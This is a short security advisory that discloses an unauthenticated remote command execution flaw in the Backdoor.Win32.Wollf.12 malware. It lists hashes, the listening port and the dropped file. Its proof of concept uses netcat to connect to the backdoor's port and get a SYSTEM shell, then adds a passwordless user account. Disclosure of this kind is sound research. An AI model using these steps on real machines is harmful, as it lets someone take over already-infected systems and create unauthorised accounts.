Backdoor.Win32.Wollf.12 Code Execution

Backdoor.Win32.Wollf.12 malware suffers from a code execution vulnerability.

MD5 | 94150accdd712ab89f24a780484e45fc

Discovery / credits: Malvuln - (c) 2021
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Wollf.12
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 7614 and drops an executable named "wrm.exe" that runs with SYSTEM integrity. Third-party attackers who can reach the system can connect, switch to DOS prompt mode and run any OS commands re-compromising the already infected system.
Type: PE32
MD5: 911e63e28b1d177120cca16eacf3b602
Vuln ID: MVID-2021-0239
Dropped files: wrm.exe
Disclosure: 06/06/2021

nc64.exe x.x.x.x 7614
"Wollf Remote Manager" v1.2
Code by wollf,

Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
The command completed successfully.

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

Related Posts